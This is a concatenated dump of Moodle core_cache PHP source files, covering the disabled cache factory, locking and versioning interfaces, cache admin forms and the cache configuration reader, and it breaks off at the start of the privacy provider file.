classes/disabled_factory.php000064400000021106152265337610012222 0ustar00. namespace core_cache; use cachestore_static; use core\exception\coding_exception; /** * The cache factory class used when the Cache has been disabled. * * @package core_cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class disabled_factory extends factory { /** @var array Array of temporary caches in use. */ protected static $tempcaches = []; /** * Returns an instance of the factory method. * * @param bool $forcereload Unused. * @return factory * @throws coding_exception */ public static function instance($forcereload = false) { throw new coding_exception('You must not call to this cache factory within your code.'); } /** * Creates a definition instance or returns the existing one if it has already been created. * * @param string $component * @param string $area * @param string $unused Used to be datasourceaggregate but that was removed and this is now unused. * @return definition */ public function create_definition($component, $area, $unused = null) { $definition = parent::create_definition($component, $area); if ($definition->has_data_source()) { return $definition; } return definition::load_adhoc(store::MODE_REQUEST, $component, $area); } /** * Common public method to create a cache instance given a definition. * * @param definition $definition * @return application_cache|session_cache|store * @throws coding_exception */ public function create_cache(definition $definition) { $loader = null; if ($definition->has_data_source()) { $loader = $definition->get_data_source(); } return new disabled_cache($definition, $this->create_dummy_store($definition), $loader); } /** * Creates a cache object given the parameters for a definition. * * @param string $component * @param string $area * @param array $identifiers * @param string $unused Used to be datasourceaggregate but that was removed and this is now unused. * @return application_cache|session_cache|request_cache */ public function create_cache_from_definition($component, $area, array $identifiers = [], $unused = null) { // Temporary in-memory caches are sometimes allowed when caching is disabled. if (\core_cache\allow_temporary_caches::is_allowed() && !$identifiers) { $key = $component . '/' . $area; if (array_key_exists($key, self::$tempcaches)) { $cache = self::$tempcaches[$key]; } else { $definition = $this->create_definition($component, $area); // The cachestore_static class returns true to all three 'SUPPORTS_' checks so it // can be used with all definitions. $store = new cachestore_static('TEMP:' . $component . '/' . $area); $store->initialise($definition); // We need to use a cache loader wrapper rather than directly returning the store, // or it wouldn't have support for versioning. The application_cache class is used // (rather than request_cache which might make more sense logically) because it // includes support for locking, which might be necessary for some caches. $cache = new application_cache($definition, $store); self::$tempcaches[$key] = $cache; } return $cache; } // Regular cache definitions are cached inside create_definition(). This is not the case for disabledlib.php // definitions as they use load_adhoc(). They are built as a new object on each call. // We do not need to clone the definition because we know it's new. $definition = $this->create_definition($component, $area); $definition->set_identifiers($identifiers); $cache = $this->create_cache($definition); return $cache; } /** * Removes all temporary caches. * * Don't call this directly - used by {@see \core_cache\allow_temporary_caches}. */ public static function clear_temporary_caches(): void { self::$tempcaches = []; } /** * Creates an ad-hoc cache from the given param. * * @param int $mode * @param string $component * @param string $area * @param array $identifiers * @param array $options An array of options, available options are: * - simplekeys : Set to true if the keys you will use are a-zA-Z0-9_ * - simpledata : Set to true if the type of the data you are going to store is scalar, or an array of scalar vars * - staticacceleration : If set to true the cache will hold onto all data passing through it. * - staticaccelerationsize : Sets the max size of the static acceleration array. * @return application_cache|session_cache|request_cache */ public function create_cache_from_params($mode, $component, $area, array $identifiers = [], array $options = []) { // Regular cache definitions are cached inside create_definition(). This is not the case for disabledlib.php // definitions as they use load_adhoc(). They are built as a new object on each call. // We do not need to clone the definition because we know it's new. $definition = definition::load_adhoc($mode, $component, $area, $options); $definition->set_identifiers($identifiers); $cache = $this->create_cache($definition); return $cache; } /** * Creates a store instance given its name and configuration. * * @param string $name Unused. * @param array $details Unused. * @param definition $definition * @return boolean|store */ public function create_store_from_config($name, array $details, definition $definition) { return $this->create_dummy_store($definition); } /** * Creates a cache config instance with the ability to write if required. * * @param bool $writer Unused. * @return disabled_config|config_writer */ public function create_config_instance($writer = false) { // We are always going to use the disabled_config class for all regular request. // However if the code has requested the writer then likely something is changing and // we're going to need to interact with the config.php file. // In this case we will still use the config_writer. $class = disabled_config::class; if ($writer) { // If the writer was requested then something is changing. $class = config_writer::class; } if (!array_key_exists($class, $this->configs)) { self::set_state(factory::STATE_INITIALISING); if ($class === disabled_config::class) { $configuration = $class::create_default_configuration(); $this->configs[$class] = new $class(); } else { $configuration = false; // If we need a writer, we should get the classname from the generic factory. // This is so alternative classes can be used if a different writer is required. $this->configs[$class] = parent::get_disabled_writer(); } $this->configs[$class]->load($configuration); } self::set_state(factory::STATE_READY); // Return the instance. return $this->configs[$class]; } /** * Returns true if the cache API has been disabled. * * @return bool */ public function is_disabled() { return true; } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(disabled_factory::class, \cache_factory_disabled::class); classes/loader_with_locking_interface.php000064400000007144152265337610014761 0ustar00. namespace core_cache; use core\exception\moodle_exception; /** * Cache Loader supporting locking. * * This interface should be given to classes already implementing core_cache\loader_interface that also wish to support locking. * It outlines the required structure for utilising locking functionality when using a cache. * * Can be implemented by any class already implementing the core_cache\loader_interface interface. * @package core_cache * @copyright Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ interface loader_with_locking_interface { /** * Acquires a lock for the given key. * * Please note that this happens automatically if the cache definition requires locking. * it is still made a public method so that adhoc caches can use it if they choose. * However this doesn't guarantee consistent access. It will become the responsibility of the calling code to ensure * locks are acquired, checked, and released. * * Prior to Moodle 4,3 this function used to return false if the lock cannot be obtained. It * now always returns true, and throws an exception if the lock cannot be obtained. * * @param string|int $key * @return bool Always returns true (for backwards compatibility) * @throws moodle_exception If the lock cannot be obtained after a timeout */ public function acquire_lock($key); /** * Checks if the cache loader owns the lock for the given key. * * Please note that this happens automatically if the cache definition requires locking. * it is still made a public method so that adhoc caches can use it if they choose. * However this doesn't guarantee consistent access. It will become the responsibility of the calling code to ensure * locks are acquired, checked, and released. * * @param string|int $key * @return bool True if this code has the lock, false if there is a lock but this code doesn't have it, * null if there is no lock. */ public function check_lock_state($key); /** * Releases the lock for the given key. * * Please note that this happens automatically if the cache definition requires locking. * it is still made a public method so that adhoc caches can use it if they choose. * However this doesn't guarantee consistent access. It will become the responsibility of the calling code to ensure * locks are acquired, checked, and released. * * @param string|int $key * @return bool True if the lock has been released, false if there was a problem releasing the lock. */ public function release_lock($key); } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(loader_with_locking_interface::class, \cache_loader_with_locking::class); classes/versionable_data_source_interface.php000064400000004244152265337610015632 0ustar00. namespace core_cache; /** * Versionable cache data source. * * This interface extends the main cache data source interface to add an extra required method if * the data source is to be used for a versioned cache. * * @package core_cache * @copyright Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ interface versionable_data_source_interface extends data_source_interface { /** * Loads the data for the key provided ready formatted for caching. * * If there is no data for that key, or if the data for the required key has an older version * than the specified $requiredversion, then this returns null. * * If there is data then $actualversion should be set to the actual version number retrieved * (may be the same as $requiredversion or newer). * * @param string|int $key The key to load. * @param int $requiredversion Minimum required version * @param mixed $actualversion Should be set to the actual version number retrieved * @return mixed What ever data should be returned, or false if it can't be loaded. */ public function load_for_cache_versioned($key, int $requiredversion, &$actualversion); } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(versionable_data_source_interface::class, \cache_data_source_versionable::class); classes/form/cache_lock_form.php000064400000006243152265337610012772 0ustar00. namespace core_cache\form; use core_cache\config as cache_config; use moodleform; /** * Form to add a cache lock instance. * * All cache lock plugins that wish to have custom configuration should override * this form, and more explicitly the plugin_definition and plugin_validation methods. * * @package core_cache * @category cache * @copyright 2013 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_lock_form extends moodleform { /** * Defines this form. */ final public function definition() { $plugin = $this->_customdata['lock']; $this->_form->addElement('hidden', 'action', 'newlockinstance'); $this->_form->setType('action', PARAM_ALPHANUMEXT); $this->_form->addElement('hidden', 'lock', $plugin); $this->_form->setType('lock', PARAM_COMPONENT); $this->_form->addElement('text', 'name', get_string('lockname', 'cache')); $this->_form->setType('name', PARAM_ALPHANUMEXT); $this->_form->addRule('name', get_string('required'), 'required'); $this->_form->addElement('static', 'namedesc', '', get_string('locknamedesc', 'cache')); $this->plugin_definition(); $this->add_action_buttons(); } /** * Validates this form. * * @param array $data * @param array $files * @return array */ final public function validation($data, $files) { $errors = parent::validation($data, $files); if (!isset($errors['name'])) { $config = cache_config::instance(); if (in_array($data['name'], array_keys($config->get_locks()))) { $errors['name'] = get_string('locknamenotunique', 'cache'); } } $errors = $this->plugin_validation($data, $files, $errors); return $errors; } /** * Plugin specific definition. */ public function plugin_definition() { // No custom validation going on here. } /** * Plugin specific validation. * * @param array $data * @param array $files * @param array $errors * @return array */ public function plugin_validation($data, $files, array $errors) { return $errors; } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(cache_lock_form::class, \cache_lock_form::class); classes/form/cachestore_addinstance_form.php000064400000010403152265337610015365 0ustar00. namespace core_cache\form; defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/lib/formslib.php'); use core_cache\administration_helper; use moodleform; /** * Add store instance form. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cachestore_addinstance_form extends moodleform { #[\Override] final protected function definition() { $form = $this->_form; $store = $this->_customdata['store']; $plugin = $this->_customdata['plugin']; $locks = $this->_customdata['locks']; $form->addElement('hidden', 'plugin', $plugin); $form->setType('plugin', PARAM_PLUGIN); $form->addElement('hidden', 'editing', !empty($this->_customdata['store'])); $form->setType('editing', PARAM_BOOL); if (!$store) { $form->addElement('text', 'name', get_string('storename', 'cache')); $form->addHelpButton('name', 'storename', 'cache'); $form->addRule('name', get_string('required'), 'required'); $form->setType('name', PARAM_NOTAGS); } else { $form->addElement('hidden', 'name', $store); $form->addElement('static', 'name-value', get_string('storename', 'cache'), $store); $form->setType('name', PARAM_NOTAGS); } if (is_array($locks)) { $form->addElement('select', 'lock', get_string('locking', 'cache'), $locks); $form->addHelpButton('lock', 'locking', 'cache'); $form->setType('lock', PARAM_ALPHANUMEXT); } else { $form->addElement('hidden', 'lock', ''); $form->setType('lock', PARAM_ALPHANUMEXT); $form->addElement( 'static', 'lock-value', get_string('locking', 'cache'), '' . get_string('nativelocking', 'cache') . '' ); } if (method_exists($this, 'configuration_definition')) { $form->addElement('header', 'storeconfiguration', get_string('storeconfiguration', 'cache')); $this->configuration_definition(); } $this->add_action_buttons(); } #[\Override] public function validation($data, $files) { $errors = parent::validation($data, $files); if (!array_key_exists('name', $errors)) { if (!preg_match('#^[a-zA-Z0-9\-_ ]+$#', $data['name'])) { $errors['name'] = get_string('storenameinvalid', 'cache'); } else if (empty($this->_customdata['store'])) { $stores = administration_helper::get_store_instance_summaries(); if (array_key_exists($data['name'], $stores)) { $errors['name'] = get_string('storenamealreadyused', 'cache'); } } } if (method_exists($this, 'configuration_validation')) { $newerrors = $this->configuration_validation($data, $files, $errors); // We need to selectiviliy merge here. foreach ($newerrors as $element => $error) { if (!array_key_exists($element, $errors)) { $errors[$element] = $error; } } } return $errors; } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(cachestore_addinstance_form::class, \cachestore_addinstance_form::class); classes/form/cache_mode_mappings_form.php000064400000004647152265337610014672 0ustar00. namespace core_cache\form; use core_cache\store; use moodleform; /** * Form to set the mappings for a mode. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_mode_mappings_form extends moodleform { /** * The definition of the form */ protected function definition() { $form = $this->_form; $stores = $this->_customdata; $options = [ store::MODE_APPLICATION => [], store::MODE_SESSION => [], store::MODE_REQUEST => [], ]; foreach ($stores as $storename => $store) { foreach ($store['modes'] as $mode => $enabled) { if ($enabled && ($mode !== store::MODE_SESSION || $store['supports']['searchable'])) { if (empty($store['default'])) { $options[$mode][$storename] = $store['name']; } else { $options[$mode][$storename] = get_string('store_' . $store['name'], 'cache'); } } } } $form->addElement('hidden', 'action', 'editmodemappings'); $form->setType('action', PARAM_ALPHA); foreach ($options as $mode => $optionset) { $form->addElement('select', 'mode_' . $mode, get_string('mode_' . $mode, 'cache'), $optionset); } $this->add_action_buttons(); } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(cache_mode_mappings_form::class, \cache_mode_mappings_form::class); classes/form/cache_definition_sharing_form.php000064400000007633152265337610015711 0ustar00. namespace core_cache\form; use core_cache\administration_helper; use core_cache\definition; use moodleform; /** * Form to set definition sharing option * * @package core_cache * @category cache * @copyright 2013 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_definition_sharing_form extends moodleform { /** * The definition of the form */ final protected function definition() { $definition = $this->_customdata['definition']; $sharingoptions = $this->_customdata['sharingoptions']; $form = $this->_form; $form->addElement('hidden', 'definition', $definition); $form->setType('definition', PARAM_SAFEPATH); $form->addElement('hidden', 'action', 'editdefinitionsharing'); $form->setType('action', PARAM_ALPHA); // We use a group here for validation. $count = 0; $group = []; foreach ($sharingoptions as $value => $text) { $count++; $group[] = $form->createElement('checkbox', $value, null, $text); } $form->addGroup($group, 'sharing', get_string('sharing', 'cache'), '
'); $form->setType('sharing', PARAM_INT); $form->addElement('text', 'userinputsharingkey', get_string('userinputsharingkey', 'cache')); $form->addHelpButton('userinputsharingkey', 'userinputsharingkey', 'cache'); $form->disabledIf('userinputsharingkey', 'sharing[' . definition::SHARING_INPUT . ']', 'notchecked'); $form->setType('userinputsharingkey', PARAM_ALPHANUMEXT); $values = array_keys($sharingoptions); if (in_array(definition::SHARING_ALL, $values)) { // If you share with all thenthe other options don't really make sense. foreach ($values as $value) { $form->disabledIf('sharing[' . $value . ']', 'sharing[' . definition::SHARING_ALL . ']', 'checked'); } $form->disabledIf('userinputsharingkey', 'sharing[' . definition::SHARING_ALL . ']', 'checked'); } $this->add_action_buttons(); } /** * Sets the data for this form. * * @param array $data */ public function set_data($data) { if (!isset($data['sharing'])) { // Set the default value here. mforms doesn't handle defaults very nicely. $data['sharing'] = administration_helper::get_definition_sharing_options(definition::SHARING_DEFAULT); } parent::set_data($data); } /** * Validates this form * * @param array $data * @param array $files * @return array */ public function validation($data, $files) { $errors = parent::validation($data, $files); if (count($errors) === 0 && !isset($data['sharing'])) { // They must select at least one sharing option. $errors['sharing'] = get_string('sharingrequired', 'cache'); } return $errors; } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(cache_definition_sharing_form::class, \cache_definition_sharing_form::class); classes/form/cache_definition_mappings_form.php000064400000007537152265337610016077 0ustar00. namespace core_cache\form; use core_cache\administration_helper; use core_cache\store; use html_writer; use moodleform; /** * Form to set definition mappings * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cache_definition_mappings_form extends moodleform { /** * The definition of the form */ final protected function definition() { global $OUTPUT; $definition = $this->_customdata['definition']; $form = $this->_form; [$component, $area] = explode('/', $definition, 2); [$currentstores, $storeoptions, $defaults] = administration_helper::get_definition_store_options($component, $area); $storedata = administration_helper::get_definition_summaries(); if ($storedata[$definition]['mode'] != store::MODE_REQUEST) { if (isset($storedata[$definition]['canuselocalstore']) && $storedata[$definition]['canuselocalstore']) { $form->addElement('html', $OUTPUT->notification(get_string('localstorenotification', 'cache'), 'notifymessage')); } else { $form->addElement('html', $OUTPUT->notification(get_string('sharedstorenotification', 'cache'), 'notifymessage')); } } $form->addElement('hidden', 'definition', $definition); $form->setType('definition', PARAM_SAFEPATH); $form->addElement('hidden', 'action', 'editdefinitionmapping'); $form->setType('action', PARAM_ALPHA); $requiredoptions = max(3, count($currentstores) + 1); $requiredoptions = min($requiredoptions, count($storeoptions)); $options = ['' => get_string('none')]; foreach ($storeoptions as $option => $def) { $options[$option] = $option; if ($def['default']) { $options[$option] .= ' ' . get_string('mappingdefault', 'cache'); } } for ($i = 0; $i < $requiredoptions; $i++) { $title = '...'; if ($i === 0) { $title = get_string('mappingprimary', 'cache'); } else if ($i === $requiredoptions - 1) { $title = get_string('mappingfinal', 'cache'); } $form->addElement('select', 'mappings[' . $i . ']', $title, $options); } $i = 0; foreach ($currentstores as $store => $def) { $form->setDefault('mappings[' . $i . ']', $store); $i++; } if (!empty($defaults)) { $form->addElement( 'static', 'defaults', get_string('defaultmappings', 'cache'), html_writer::tag('strong', join(', ', $defaults)) ); $form->addHelpButton('defaults', 'defaultmappings', 'cache'); } $this->add_action_buttons(); } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(cache_definition_mappings_form::class, \cache_definition_mappings_form::class); classes/config.php000064400000051754152265337610010205 0ustar00. namespace core_cache; use core_cache\exception\cache_exception; /** * Cache configuration reader. * * This class is used to interact with the cache's configuration. * The configuration is stored in the Moodle data directory. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class config { /** * The configured stores * @var array */ protected $configstores = []; /** * The configured mode mappings * @var array */ protected $configmodemappings = []; /** * The configured definitions as picked up from cache.php files * @var array */ protected $configdefinitions = []; /** * The definition mappings that have been configured. * @var array */ protected $configdefinitionmappings = []; /** * An array of configured cache lock instances. * @var array */ protected $configlocks = []; /** * The site identifier used when the cache config was last saved. * @var string */ protected $siteidentifier = null; /** * Please use config::instance to get an instance of the cache config that is ready to be used. */ public function __construct() { // Nothing to do here but look pretty. } /** * Gets an instance of the cache config class. * * @return self */ public static function instance() { $factory = factory::instance(); return $factory->create_config_instance(); } /** * Checks if the configuration file exists. * * @return bool True if it exists */ public static function config_file_exists() { // Allow for late static binding by using static. return file_exists(static::get_config_file_path()); } /** * Returns the expected path to the configuration file. * * @return string The absolute path */ protected static function get_config_file_path() { global $CFG; if (!empty($CFG->altcacheconfigpath)) { $path = $CFG->altcacheconfigpath; if (is_dir($path) && is_writable($path)) { // Its a writable directory, thats fine. return $path . '/cacheconfig.php'; } else if (is_writable(dirname($path)) && (!file_exists($path) || is_writable($path))) { // Its a file, either it doesn't exist and the directory is writable or the file exists and is writable. return $path; } } // Return the default location within dataroot. return $CFG->dataroot . '/muc/config.php'; } /** * Loads the configuration file and parses its contents into the expected structure. * * @param array|false $configuration Can be used to force a configuration. Should only be used when truly required. * @return boolean */ public function load($configuration = false) { global $CFG; if ($configuration === false) { $configuration = $this->include_configuration(); } $this->configstores = []; $this->configdefinitions = []; $this->configlocks = []; $this->configmodemappings = []; $this->configdefinitionmappings = []; $siteidentifier = 'unknown'; if (array_key_exists('siteidentifier', $configuration)) { $siteidentifier = $configuration['siteidentifier']; } $this->siteidentifier = $siteidentifier; // Filter the lock instances. $defaultlock = null; foreach ($configuration['locks'] as $conf) { if (!is_array($conf)) { // Something is very wrong here. continue; } if (!array_key_exists('name', $conf)) { // Not a valid definition configuration. continue; } $name = $conf['name']; if (array_key_exists($name, $this->configlocks)) { debugging('Duplicate cache lock detected. This should never happen.', DEBUG_DEVELOPER); continue; } $conf['default'] = (!empty($conf['default'])); if ($defaultlock === null || $conf['default']) { $defaultlock = $name; } $this->configlocks[$name] = $conf; } // Filter the stores. $availableplugins = helper::early_get_cache_plugins(); foreach ($configuration['stores'] as $store) { if (!is_array($store) || !array_key_exists('name', $store) || !array_key_exists('plugin', $store)) { // Not a valid instance configuration. debugging('Invalid cache store in config. Missing name or plugin.', DEBUG_DEVELOPER); continue; } $plugin = $store['plugin']; $class = 'cachestore_' . $plugin; $exists = array_key_exists($plugin, $availableplugins); if (!$exists) { // Not a valid plugin, or has been uninstalled, just skip it an carry on. debugging('Invalid cache store in config. Not an available plugin.', DEBUG_DEVELOPER); continue; } $file = $CFG->dirroot . '/cache/stores/' . $plugin . '/lib.php'; if (!class_exists($class) && file_exists($file)) { require_once($file); } if (!class_exists($class)) { continue; } if (!array_key_exists(store::class, class_parents($class))) { continue; } if (!array_key_exists('configuration', $store) || !is_array($store['configuration'])) { $store['configuration'] = []; } $store['class'] = $class; $store['default'] = !empty($store['default']); if (!array_key_exists('lock', $store) || !array_key_exists($store['lock'], $this->configlocks)) { $store['lock'] = $defaultlock; } $this->configstores[$store['name']] = $store; } // Filter the definitions. foreach ($configuration['definitions'] as $id => $conf) { if (!is_array($conf)) { // Something is very wrong here. continue; } if (!array_key_exists('mode', $conf) || !array_key_exists('component', $conf) || !array_key_exists('area', $conf)) { // Not a valid definition configuration. continue; } if (array_key_exists($id, $this->configdefinitions)) { debugging('Duplicate cache definition detected. This should never happen.', DEBUG_DEVELOPER); continue; } $conf['mode'] = (int)$conf['mode']; if ($conf['mode'] < store::MODE_APPLICATION || $conf['mode'] > store::MODE_REQUEST) { // Invalid cache mode used for the definition. continue; } if ($conf['mode'] === store::MODE_SESSION || $conf['mode'] === store::MODE_REQUEST) { // We force this for session and request caches. // They are only allowed to use the default as we don't want people changing them. $conf['sharingoptions'] = definition::SHARING_DEFAULT; $conf['selectedsharingoption'] = definition::SHARING_DEFAULT; $conf['userinputsharingkey'] = ''; } else { // Default the sharing option as it was added for 2.5. // This can be removed sometime after 2.5 is the minimum version someone can upgrade from. if (!isset($conf['sharingoptions'])) { $conf['sharingoptions'] = definition::SHARING_DEFAULTOPTIONS; } // Default the selected sharing option as it was added for 2.5. // This can be removed sometime after 2.5 is the minimum version someone can upgrade from. if (!isset($conf['selectedsharingoption'])) { $conf['selectedsharingoption'] = definition::SHARING_DEFAULT; } // Default the user input sharing key as it was added for 2.5. // This can be removed sometime after 2.5 is the minimum version someone can upgrade from. if (!isset($conf['userinputsharingkey'])) { $conf['userinputsharingkey'] = ''; } } $this->configdefinitions[$id] = $conf; } // Filter the mode mappings. foreach ($configuration['modemappings'] as $mapping) { if (!is_array($mapping) || !array_key_exists('mode', $mapping) || !array_key_exists('store', $mapping)) { // Not a valid mapping configuration. debugging('A cache mode mapping entry is invalid.', DEBUG_DEVELOPER); continue; } if (!array_key_exists($mapping['store'], $this->configstores)) { // Mapped array instance doesn't exist. debugging('A cache mode mapping exists for a mode or store that does not exist.', DEBUG_DEVELOPER); continue; } $mapping['mode'] = (int)$mapping['mode']; if ($mapping['mode'] < 0 || $mapping['mode'] > 4) { // Invalid cache type used for the mapping. continue; } if (!array_key_exists('sort', $mapping)) { $mapping['sort'] = 0; } $this->configmodemappings[] = $mapping; } // Filter the definition mappings. foreach ($configuration['definitionmappings'] as $mapping) { if (!is_array($mapping) || !array_key_exists('definition', $mapping) || !array_key_exists('store', $mapping)) { // Not a valid mapping configuration. continue; } if (!array_key_exists($mapping['store'], $this->configstores)) { // Mapped array instance doesn't exist. continue; } if (!array_key_exists($mapping['definition'], $this->configdefinitions)) { // Mapped array instance doesn't exist. continue; } if (!array_key_exists('sort', $mapping)) { $mapping['sort'] = 0; } $this->configdefinitionmappings[] = $mapping; } usort($this->configmodemappings, [$this, 'sort_mappings']); usort($this->configdefinitionmappings, [$this, 'sort_mappings']); return true; } /** * Returns the site identifier used by the cache API. * @return string */ public function get_site_identifier() { return $this->siteidentifier; } /** * Includes the configuration file and makes sure it contains the expected bits. * * You need to ensure that the config file exists before this is called. * * @return array * @throws cache_exception */ protected function include_configuration() { $configuration = null; // We need to allow for late static bindings to allow for class path mudling happending for unit tests. $cachefile = static::get_config_file_path(); if (!file_exists($cachefile)) { throw new cache_exception('Default cache config could not be found. It should have already been created by now.'); } if (!include($cachefile)) { throw new cache_exception('Unable to load the cache configuration file'); } if (!is_array($configuration)) { throw new cache_exception('Invalid cache configuration file'); } if (!array_key_exists('stores', $configuration) || !is_array($configuration['stores'])) { $configuration['stores'] = []; } if (!array_key_exists('modemappings', $configuration) || !is_array($configuration['modemappings'])) { $configuration['modemappings'] = []; } if (!array_key_exists('definitions', $configuration) || !is_array($configuration['definitions'])) { $configuration['definitions'] = []; } if (!array_key_exists('definitionmappings', $configuration) || !is_array($configuration['definitionmappings'])) { $configuration['definitionmappings'] = []; } if (!array_key_exists('locks', $configuration) || !is_array($configuration['locks'])) { $configuration['locks'] = []; } return $configuration; } /** * Used to sort cache config arrays based upon a sort key. * * Highest number at the top. * * @param array $a * @param array $b * @return int */ protected function sort_mappings(array $a, array $b) { if ($a['sort'] == $b['sort']) { return 0; } return ($a['sort'] < $b['sort']) ? 1 : -1; } /** * Gets a definition from the config given its name. * * @param string $id * @return bool */ public function get_definition_by_id($id) { if (array_key_exists($id, $this->configdefinitions)) { return $this->configdefinitions[$id]; } return false; } /** * Returns all the known definitions. * * @return array */ public function get_definitions() { return $this->configdefinitions; } /** * Returns the definitions mapped into the given store name. * * @param string $storename * @return array Associative array of definitions, id=>definition */ public function get_definitions_by_store($storename) { $definitions = []; // This function was accidentally made static at some stage in the past. // It was converted to an instance method but to be backwards compatible // we must step around this in code. if (!isset($this)) { $config = self::instance(); } else { $config = $this; } $stores = $config->get_all_stores(); if (!array_key_exists($storename, $stores)) { // The store does not exist. return false; } $defmappings = $config->get_definition_mappings(); // Create an associative array for the definition mappings. $thedefmappings = []; foreach ($defmappings as $defmapping) { $thedefmappings[$defmapping['definition']] = $defmapping; } // Search for matches in default mappings. $defs = $config->get_definitions(); foreach ($config->get_mode_mappings() as $modemapping) { if ($modemapping['store'] !== $storename) { continue; } foreach ($defs as $id => $definition) { if ($definition['mode'] !== $modemapping['mode']) { continue; } // Exclude custom definitions mapping: they will be managed few lines below. if (array_key_exists($id, $thedefmappings)) { continue; } $definitions[$id] = $definition; } } // Search for matches in the custom definitions mapping. foreach ($defmappings as $defmapping) { if ($defmapping['store'] !== $storename) { continue; } $definition = $config->get_definition_by_id($defmapping['definition']); if ($definition) { $definitions[$defmapping['definition']] = $definition; } } return $definitions; } /** * Returns all of the stores that are suitable for the given mode and requirements. * * @param int $mode One of store::MODE_* * @param int $requirements The requirements of the cache as a binary flag * @return array An array of suitable stores. */ public function get_stores($mode, $requirements = 0) { $stores = []; foreach ($this->configstores as $name => $store) { // If the mode is supported and all of the requirements are provided features. if (($store['modes'] & $mode) && ($store['features'] & $requirements) === $requirements) { $stores[$name] = $store; } } return $stores; } /** * Gets all of the stores that are to be used for the given definition. * * @param definition $definition * @return array */ public function get_stores_for_definition(definition $definition) { // Check if MUC has been disabled. $factory = factory::instance(); if ($factory->stores_disabled()) { // Yip its been disabled. // To facilitate this we are going to always return an empty array of stores to use. // This will force all cache instances to use the cachestore_dummy. // MUC will still be used essentially so that code using it will still continue to function but because no cache stores // are being used interaction with MUC will be purely based around a static var. return []; } $availablestores = $this->get_stores($definition->get_mode(), $definition->get_requirements_bin()); $stores = []; $id = $definition->get_id(); // Now get any mappings and give them priority. foreach ($this->configdefinitionmappings as $mapping) { if ($mapping['definition'] !== $id) { continue; } $storename = $mapping['store']; if (!array_key_exists($storename, $availablestores)) { continue; } if (array_key_exists($storename, $stores)) { $store = $stores[$storename]; unset($stores[$storename]); $stores[$storename] = $store; } else { $stores[$storename] = $availablestores[$storename]; } } if (empty($stores) && !$definition->is_for_mappings_only()) { $mode = $definition->get_mode(); // Load the default stores. foreach ($this->configmodemappings as $mapping) { if ($mapping['mode'] === $mode && array_key_exists($mapping['store'], $availablestores)) { $store = $availablestores[$mapping['store']]; if (empty($store['mappingsonly'])) { $stores[$mapping['store']] = $store; } } } } return $stores; } /** * Returns all of the configured stores * @return array */ public function get_all_stores() { return $this->configstores; } /** * Returns all of the configured mode mappings * @return array */ public function get_mode_mappings() { return $this->configmodemappings; } /** * Returns all of the known definition mappings. * @return array */ public function get_definition_mappings() { return $this->configdefinitionmappings; } /** * Returns an array of the configured locks. * @return array Array of name => config */ public function get_locks() { return $this->configlocks; } /** * Returns the lock store configuration to use with a given store. * @param string $storename * @return array * @throws cache_exception */ public function get_lock_for_store($storename) { if (array_key_exists($storename, $this->configstores)) { if (array_key_exists($this->configstores[$storename]['lock'], $this->configlocks)) { $lock = $this->configstores[$storename]['lock']; return $this->configlocks[$lock]; } } return $this->get_default_lock(); } /** * Gets the default lock instance. * * @return array * @throws cache_exception */ public function get_default_lock() { foreach ($this->configlocks as $lockconf) { if (!empty($lockconf['default'])) { return $lockconf; } } throw new cache_exception('ex_nodefaultlock'); } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(config::class, \cache_config::class); classes/cacheable_object_interface.php000064400000004264152265337610014167 0ustar00. namespace core_cache; /** * Cacheable object. * * This interface can be implemented by any class that is going to be passed into a cache and allows it to take control of the * structure and the information about to be cached, as well as how to deal with it when it is retrieved from a cache. * Think of it like serialisation and the __sleep and __wakeup methods. * This is used because cache stores are responsible for how they interact with data and what they do when storing it. This * interface ensures there is always a guaranteed action. * * @package core_cache * @copyright Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ interface cacheable_object_interface { /** * Prepares the object for caching. Works like the __sleep method. * * @return mixed The data to cache, can be anything except a class that implements the cacheable_object... that would * be dumb. */ public function prepare_to_cache(); /** * Takes the data provided by prepare_to_cache and reinitialises an instance of the associated from it. * * @param mixed $data * @return object The instance for the given data. */ public static function wake_from_cache($data); } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(cacheable_object_interface::class, \cacheable_object::class); classes/privacy/provider.php000064400000004553152265337610012242 0ustar00. /** * Privacy Subsystem implementation for core_cache. * * @package core_cache * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core_cache\privacy; use core_privacy\local\metadata\collection; /** * Privacy 